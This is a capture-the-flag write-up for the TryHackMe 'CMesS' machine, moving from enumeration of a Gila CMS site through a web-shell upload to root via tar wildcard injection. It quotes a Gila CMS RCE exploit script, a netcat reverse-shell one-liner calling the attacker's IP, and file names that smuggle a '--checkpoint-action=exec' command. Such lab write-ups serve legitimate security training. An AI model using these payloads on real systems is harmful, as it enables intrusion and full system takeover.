TryHackMe - CMesS
Please add $IP cmess.thm
to /etc/hosts
Please also note that this box does not require brute forcing!
┌──(kali㉿kali)-[~/TryHackMe/cmess]
└─$ sudo nano /etc/hosts
[sudo] password for kali:
┌──(kali㉿kali)-[~/TryHackMe/cmess]
└─$ sudo cat /etc/hosts | grep "cmess"
10.10.112.136 cmess.thm
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn cmess.thm
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-06 17:24 EDT
Nmap scan report for cmess.thm (10.10.112.136)
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 15.55 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 cmess.thm
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-06 17:24 EDT
Nmap scan report for cmess.thm (10.10.112.136)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9b652d3939a3850b4233bfd210c051f (RSA)
| 256 21c36e318b85228a6d72868fae64662b (ECDSA)
|_ 256 5bb9757805d7ec43309617ffc6a86ced (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 185.34 ms 10.9.0.1
2 185.61 ms cmess.thm (10.10.112.136)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.28 seconds
Only 2 simple ports are opened: 80
and 22
. And all of the dirs from robots.txt
are disallowed entries → I have no way out to get access them. Let check the main page first:
No hidden information in the page’s source:
Page's Source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
<!DOCTYPE html>
<html lang="en">
<head><base href="http://cmess.thm/">
<title></title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="generator" content="Gila CMS">
<link href="lib/gila.min.css" rel="stylesheet"><link href="lib/font-awesome/css/font-awesome.min.css" rel="stylesheet"></head><style>
body{background:#fcfcfc}
:root{--main-primary-color: orangered;}
body{font-family:'Arial', sans-serif;}
h1,h2,h3,.widget-title,.header{font-family:Arial,sans-serif;}
.widget-title,.header{font-size:1.1em}
.widget{margin-top: 20px; padding: 0 8px}
.widget-title{border-bottom: 4px solid orangered; display:inline-block;}
.widget>div:nth-child(2){border-top: 1px solid #ccc}
.widget:before{content: ""; width:100%; margin-top: 12px; border-bottom: 1px solid #ccc;}
.widget .g-nav.vertical li{border-bottom: 1px solid #ddd}
.widget .g-nav.vertical li a{color: #181818;padding: 4px 12px}
.widget .g-nav.vertical li a:hover{color: orangered;}
.post-review a{color: #181818;margin-bottom: 10px;}
.post-review a:hover{color: orangered;}
.sidebar{padding-left:16px; min-height:400px}
li.active{background-color:var(--main-primary-color); color:white;}
.header{margin-bottom: 20px; background-color: #262626;
background-size: cover;
background-position-y: center;
background-position-x: center;}
footer{background:#464a49;margin-top:10px;color:white}
.footer-text,footer a,footer a:hover{color:#ccc; }
.widget-social-icons {list-style: none;padding:0 }
.widget-social-icons li{margin: 15px 10px 0 0; float: left; text-align: center; opacity: 0.8}
.widget-social-icons li a i:before{
width: 40px;
margin: 0;
color: #fff;
font-size: 20px;
line-height: 40px;
display:inline-block;
background: #060608;
}
.widget-social-icons li a i:hover:before{background: orangered;}
.g-navbar li ul li a{color:inherit}
.g-nav li ul{border-width:0; background: #181818; margin-top:-2px}
</style>
<body>
<div class="header" style="padding:0 10px;">
<div style="max-width:1100px; margin:auto;">
<div class="gl-9" style="height:200px;text-shadow:0 0 6px black">
<h1><a href="http://cmess.thm/" style="color:#f5f5f5;">Gila CMS</a></h1>
<div style="color:#f5f5f5;margin-bottom:6px">An awesome website!</div>
</div>
<!-- Navigation -->
<div class="gl-9">
<nav class="inline-flex g-navbar">
<span style=""><ul class="g-nav">
<li class="active"><a href="">Home</a></li><li><a href="about" >About</a></li></ul>
</span>
</nav>
</div>
</div>
</div>
<div style="padding:0 10px">
<div style="max-width:1100px; margin:auto;">
<!-- Posts -->
<div class="row wrapper">
<div class="gm-9">
<div class="row gap-8px post-review">
<div class="gm-12">
<a href="1/hello_world">
<h2 class="post-title" style="margin-top:0">Hello World</h2>
</a>
This is the first post </div>
</div><!--hr-->
<!-- Pagination -->
<ul class="g-nav pagination">
</ul>
</div>
<div class="gm-3 sidebar">
<form method="get" class="inline-flex" action="http://cmess.thm/">
<input name='search' class="g-input fullwidth" value="">
<button class="g-btn g-group-item" onclick='submit'>Search</button>
</form>
</div>
</div>
</div>
</div>
<footer class="fullwidth pad" style="">
<div style="max-width:900px; margin:auto">
<div class="footer-widget">
</div>
<p class="copyright footer-text">
Copyright © Your Website 2017 <span style="float:right">Powered by <a href="http://gilacms.com" target="_blank">Gila CMS</a></span>
</p>
</div>
</footer>
<script src="src/core/assets/lazyImgLoad.js" async></script>
</body>
<div class="pad">
</div>
</html>
When I clicked on the Search button, the URL become:
http://cmess.thm/?search=
However, after trying many way to inject the param search
with LFI or RFI, I found nothing.
At the current, I don’t have any information about the Gila version → I cannot find the exploit path for a specific version.
┌──(kali㉿kali)-[~/TryHackMe/cmess]
└─$ searchsploit "gila"
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Gila CMS 1.11.8 - 'query' SQL Injection | php/webapps/48590.py
Gila CMS 1.9.1 - Cross-Site Scripting | php/webapps/46557.txt
Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated) | php/webapps/49412.py
Gila CMS < 1.11.1 - Local File Inclusion | multiple/webapps/47407.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Let’s take a dirs scan!
Dir Scan
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 50 --no-error -u http://cmess.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cmess.thm/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/search (Status: 200) [Size: 3851]
/about (Status: 200) [Size: 3353]
/01 (Status: 200) [Size: 4078]
/category (Status: 200) [Size: 3862]
/robots.txt (Status: 200) [Size: 65]
/themes (Status: 301) [Size: 318] [--> http://cmess.thm/themes/?url=themes]
/blog (Status: 200) [Size: 3851]
/index (Status: 200) [Size: 3851]
/feed (Status: 200) [Size: 735]
/0 (Status: 200) [Size: 3851]
/admin (Status: 200) [Size: 1580]
/assets (Status: 301) [Size: 318] [--> http://cmess.thm/assets/?url=assets]
/tag (Status: 200) [Size: 3874]
/sites (Status: 301) [Size: 316] [--> http://cmess.thm/sites/?url=sites]
/author (Status: 200) [Size: 3590]
/Search (Status: 200) [Size: 3851]
/log (Status: 301) [Size: 312] [--> http://cmess.thm/log/?url=log]
/About (Status: 200) [Size: 3339]
/tags (Status: 200) [Size: 3139]
/lib (Status: 301) [Size: 312] [--> http://cmess.thm/lib/?url=lib]
/Index (Status: 200) [Size: 3851]
/1x1 (Status: 200) [Size: 4078]
/src (Status: 301) [Size: 312] [--> http://cmess.thm/src/?url=src]
/api (Status: 200) [Size: 0]
/001 (Status: 200) [Size: 4078]
/cm (Status: 500) [Size: 0]
/1pix (Status: 200) [Size: 4078]
/fm (Status: 200) [Size: 0]
/tmp (Status: 301) [Size: 312] [--> http://cmess.thm/tmp/?url=tmp]
/1a (Status: 200) [Size: 4078]
/0001 (Status: 200) [Size: 4078]
/1x1transparent (Status: 200) [Size: 4078]
/INDEX (Status: 200) [Size: 3851]
/1px (Status: 200) [Size: 4078]
It took me much time to enumerate every dirs but nothing seem really helpful except the login page. So I need to do the sub-domain enumeration instead to figure out the creds for the login.
Sub-domain Scan
┌──(kali㉿kali)-[~]
└─$ wfuzz -w ~/Wordlists/subdomains-top1mil-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://cmess.thm/
Total requests: 5000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000029: 200 107 L 290 W 3877 Ch "old"
000000001: 200 107 L 290 W 3877 Ch "www"
000000027: 200 107 L 290 W 3874 Ch "mx"
000000028: 200 107 L 290 W 3880 Ch "imap"
000000026: 200 107 L 290 W 3877 Ch "vpn"
000000003: 200 107 L 290 W 3877 Ch "ftp"
000000015: 200 107 L 290 W 3874 Ch "ns"
000000007: 200 107 L 290 W 3889 Ch "webdisk"
000000019: 200 30 L 104 W 934 Ch "dev"
000000030: 200 107 L 290 W 3877 Ch "new"
000000031: 200 107 L 290 W 3886 Ch "mobile"
000000023: 200 107 L 290 W 3883 Ch "forum"
000000024: 200 107 L 290 W 3883 Ch "admin"
000000025: 200 107 L 290 W 3883 Ch "mail2"
000000014: 200 107 L 290 W 3898 Ch "autoconfig"
000000017: 200 107 L 290 W 3871 Ch "m"
000000020: 200 107 L 290 W 3880 Ch "www2"
000000018: 200 107 L 290 W 3880 Ch "blog"
000000022: 200 107 L 290 W 3880 Ch "pop3"
000000021: 200 107 L 290 W 3877 Ch "ns3"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0
Processed Requests: 20
Filtered Requests: 0
Requests/sec.: 0
At the first time I ran the sub-domain scan, I notice that much result have the same Lines or Word count → I need to insert the flag --hw
or --hl
to hide them all:
┌──(kali㉿kali)-[~]
└─$ wfuzz -w ~/Wordlists/subdomains-top1mil-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm" --hw 290
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://cmess.thm/
Total requests: 5000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 30 L 104 W 934 Ch "[REDACTED]"
Before viewing this sub-domain, I need to append it into the /etc/hosts
too:
┌──(kali㉿kali)-[~/TryHackMe/cmess]
└─$ sudo nano /etc/hosts
┌──(kali㉿kali)-[~/TryHackMe/cmess]
└─$ sudo cat /etc/hosts | grep "cmess"
10.10.112.136 cmess.thm
10.10.112.136 [REDACTED].cmess.thm
Then use curl
or simply type the URL on web-browser:
┌──(kali㉿kali)-[~/TryHackMe/cmess]
└─$ curl http://[REDACTED].cmess.thm/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Development</title>
</head>
<body>
<h2>Development Log</h2>
<article>
<h3>[REDACTED]@cmess.thm</h3>
<p>Have you guys fixed the bug that was found on live?</p>
</article>
<article>
<h3>support@cmess.thm</h3>
<p>Hey [REDACTED], We have managed to fix the misconfigured .htaccess file, we're hoping to patch it in the upcoming patch!</p>
</article>
<article>
<h3>support@cmess.thm</h3>
<p>Update! We have had to delay the patch due to unforeseen circumstances</p>
</article>
<article>
<h3>[REDACTED]@cmess.thm</h3>
<p>That's ok, can you guys reset my password if you get a moment, I seem to be unable to get onto the admin panel.</p>
</article>
<article>
<h3>support@cmess.thm</h3>
<p>Your password has been reset. Here: [REDACTED] </p>
</article>
</body>
</html>
Exploit
Now I had the creds for the login page. Let’s route to the dir /login
:
It would automatically route me back to the main page. To access the dashboard page, I have to navigate the path to /admin
:
Look at the bottom of the page → The running Gila version is 1.10.9 which could be exploit with the following path:
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated) | php/webapps/49412.py
---------------------------------------------------------------------------------- ---------------------------------
The content of the exploit file is:
# Exploit Title: Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated)
# Date: 1.12.2021
# Exploit Author: Enesdex
# Vendor Homepage: https://gilacms.com/
# Software Link: https://github.com/GilaCMS/gila/releases/tag/2.0.0
# Version: x < 2.0.0
# Tested on: Windows 10
import requests
import time
target_url = "http://192.168.1.101:80/Gila/"
cmd = "calc.exe"
url = target_url+"?c=admin"
cookies = {"GSESSIONID": "../../index.php"}
headers = {"User-Agent": "<?php shell_exec('"+cmd+"'); include 'src\\core\\bootstrap.php'; ?>"}
requests.get(url, headers=headers, cookies=cookies)
time.sleep(5)
requests.get(target_url+"/index.php")
However, I have more simple way to exploit in this case. Navigate to the side-bar > Hover the Content > Click on File Manager:
Prepare a reverse shell on the attack machine and upload it:
Start a listener:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
To open the shell, route to the following URL: http://cmess.thm/assets/shell.php
and then I get connected to the target:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.112.136] 56982
Linux cmess 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
14:55:18 up 30 min, 0 users, load average: 61.68, 58.55, 48.09
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Let’s upgrade the shell to get the better one:
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@cmess:/$ pwd
pwd
/
Privilege Escalation → normal user
From this point, you can use other tools to auto enumerate the machine. In my report, I will perform the manual way either.
Navigate to directory /opt/
:
www-data@cmess:/$ cd /opt/
cd /opt/
www-data@cmess:/opt$ ls -la
ls -la
total 12
drwxr-xr-x 2 root root 4096 Feb 6 2020 .
drwxr-xr-x 22 root root 4096 Feb 6 2020 ..
-rwxrwxrwx 1 root root 36 Feb 6 2020 .password.bak
Read the file .password.bak
and get the creds of the mentioned user:
www-data@cmess:/opt$ cat .password.bak
cat .password.bak
[REDACTED]s backup password
[REDACTED]
Use that creds to escalate to the user → cd
to the user’s work-place and get the flag:
www-data@cmess:/opt$ su [REDACTED]
su [REDACTED]
Password:
su: Authentication failure
www-data@cmess:/opt$ su [REDACTED]
su [REDACTED]
Password: [REDACTED]
[REDACTED]@cmess:/opt$ cd
cd
[REDACTED]@cmess:~$ ls -l
ls -l
total 8
drwxr-x--- 2 [REDACTED] [REDACTED] 4096 Feb 9 2020 backup
-rwxr-x--- 1 [REDACTED] [REDACTED] 38 Feb 6 2020 user.txt
[REDACTED]@cmess:~$ cat user.txt
cat user.txt
thm{[REDACTED]}
Privilege Escalation → root
I tried with sudo -l
command but it did not work:
[REDACTED]@cmess:~$ sudo -l
sudo -l
[sudo] password for [REDACTED]: [REDACTED]
Sorry, user [REDACTED] may not run sudo on cmess.
Therefore, I use another common way to escalate privilege is cronjobs enumeration:
[REDACTED]@cmess:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root cd /home/[REDACTED]/backup && tar -zcf /tmp/[REDACTED]_backup.tar.gz *
Look at the bottom line, the root user had been set to automatically use tar
to extract the [REDACTED]_backup.tar.gz
into /home/[REDACTED]/backup
directory. There is a technique to exploit the tar
service and other similar ones called Wildcard Injection. I will follow the instruction from this source: (Use the given keyword to read more about this vulnerability)
First, I will verify that the netcat
service is available on the target machine:
[REDACTED]@cmess:~/backup$ whereis netcat
whereis netcat
netcat: /bin/netcat /usr/share/man/man1/netcat.1.gz
[REDACTED]@cmess:~/backup$ ls -l /bin/ | grep "netcat"
ls -l /bin/ | grep "netcat"
lrwxrwxrwx 1 root root 24 Feb 6 2020 netcat -> /etc/alternatives/netcat
I create a reverse shell payload using msfvenom
:
┌──(kali㉿kali)-[~/TryHackMe/cmess]
└─$ msfvenom -p cmd/unix/reverse_netcat lhost=10.9.63.75 lport=4445 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 88 bytes
mkfifo /tmp/cloz; nc 10.9.63.75 4445 0</tmp/cloz | /bin/sh >/tmp/cloz 2>&1; rm /tmp/cloz
Then I use the payload to create a shell inside the backup/
directory:
[REDACTED]@cmess:~$ echo "mkfifo /tmp/cloz; nc 10.9.63.75 4445 0</tmp/cloz | /bin/sh >/tmp/cloz 2>&1; rm /tmp/cloz" > backup/shell.sh
<4445 0</tmp/cloz | /bin/sh >/tmp/cloz 2>&1; rm /tmp/cloz" > backup/shell.sh
[REDACTED]@cmess:~$ ls -l backup
ls -l backup
total 8
-rwxr-x--- 1 [REDACTED] [REDACTED] 51 Feb 9 2020 note
-rw-rw-r-- 1 [REDACTED] [REDACTED] 89 Sep 6 15:16 shell.sh
After that, execute these following commands:
[REDACTED]@cmess:~/backup$ echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint-action=exec=sh shell.sh"
[REDACTED]@cmess:~/backup$ echo "" > --checkpoint=1
echo "" > --checkpoint=1
Start another listener and wait for awhile to get access as root user:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.112.136] 48506
id
uid=0(root) gid=0(root) groups=0(root)
Upgrade the shell for a better view and get the root flag:
python3 -c "import pty;pty.spawn('/bin/bash')"
root@cmess:/home/[REDACTED]/backup# cd
cd
root@cmess:~# ls -l
ls -l
total 4
-rw-r--r-- 1 [REDACTED] [REDACTED] 38 Feb 6 2020 root.txt
root@cmess:~# cat root.txt
cat root.txt
thm{[REDACTED]}